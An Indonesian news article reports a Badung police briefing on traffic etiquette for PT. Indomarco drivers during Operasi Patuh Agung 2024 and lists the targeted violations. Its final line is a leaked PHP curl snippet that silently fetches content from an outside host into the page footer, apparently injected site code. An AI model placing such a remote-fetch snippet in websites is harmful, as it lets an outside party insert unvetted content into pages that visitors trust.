Unit Kamsel Lakukan Sosialisasi Etika Tertib Berlalu Lintas kepada Para Driver PT. Indomarco

Rabu, 17 Juli 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Badung | jejakkasus.info –
Dalam rangka Operasi Patuh Agung 2024, Unit Keamanan dan Keselamatan (Kamsel) Satlantas Polres Badung melaksanakan sosialisasi mengenai etika tertib berlalu lintas kepada para driver PT. Indomarco. Acara ini berlangsung di Kantor Indomarco yang berlokasi di Jl. Raya Denpasar – Singaraja, Desa Sembung, Kecamatan Mengwi, Kabupaten Badung. Kamis, 16 Juli 2024 malam pukul 20.00 Wita.

Kegiatan ini bertujuan untuk meningkatkan kesadaran dan kepatuhan para pengemudi terhadap aturan lalu lintas, guna mengurangi angka kecelakaan dan pelanggaran di jalan raya. Dalam sosialisasi tersebut, petugas Kamsel memberikan penjelasan mengenai pentingnya mematuhi rambu-rambu lalu lintas, menjaga kecepatan sesuai batas yang ditentukan, serta selalu menggunakan sabuk pengaman.

Baca Juga:  Bhabinkamtibmas Polri Sukseskan Pencegahan Stunting, Kawal Posyandu Di Desa Buruan

Kasat Lantas Polres Badung, AKP I Wayan Sugianta, SH, menyampaikan bahwa sosialisasi ini merupakan bagian dari upaya untuk menekan angka kecelakaan lalu lintas dan meningkatkan disiplin para pengendara di jalan raya.

“Kami berharap, melalui sosialisasi ini, para driver PT. Indomarco dapat menjadi contoh bagi pengendara lain dalam menerapkan etika dan disiplin berlalu lintas,” ujarnya seijin Kapolres Badung AKBP Teguh Priyo Wasono, SIK. didampingi Kanit Kamsel Aiptu I Putu Ariasa, SH.

Baca Juga:  Unit Samapta Polsek Mengwi Laksanakan Patroli Sambangi Kantor BPD Sembun

Para peserta sosialisasi yang terdiri dari puluhan driver PT. Indomarco tampak antusias mengikuti kegiatan ini. Mereka mendapatkan kesempatan untuk berdiskusi langsung dengan petugas Kamsel serta mengajukan pertanyaan seputar masalah lalu lintas yang sering mereka hadapi di lapangan.

Operasi Patuh Agung 2024 sendiri merupakan operasi rutin yang dilaksanakan oleh Polri untuk meningkatkan kesadaran berlalu lintas dan menekan angka pelanggaran serta kecelakaan di jalan raya yang dilaksanakan selama 14 hari mulai terhitung tanggal 15-28 Nuli 2024, dalam operasi patuh ini ada 8 Sasaran pelanggaran yang menjadi target penindakan dalam operasi Patuh Agung 2024, yakni :
1. Menggunakan HP saat berkendara.
2. Berkendara dibawah umur.
3. Mengendarai sepeda motor membawa penumpang lebih dari satu orang.
4. Tidak menggunakan helm SNI.
5. Berkendara dalam pengaruh alkohol.
6. Berkendara melawan arus.
7. Tidak menggunakan safety belt dan berkendara ugal-ugalan. serta
8. Pelanggaran Odol (Over Dimensi dan Over Loading).
(Rabu, 17/07).

Baca Juga:  Welcome and Farawell Parade iringi Pisah Sambut Kapolres Cirebon Kota

Amin jk

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang
Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak
Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terkait

Jumat, 4 Oktober 2024 - 20:42 WIB

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang

Jumat, 4 Oktober 2024 - 20:06 WIB

Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:47 WIB

Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras

Berita Terbaru

Berita Utama

Kapolres Pringsewu Serukan Pilkada Damai Tanpa Diskriminasi

Jumat, 4 Okt 2024 - 19:31 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>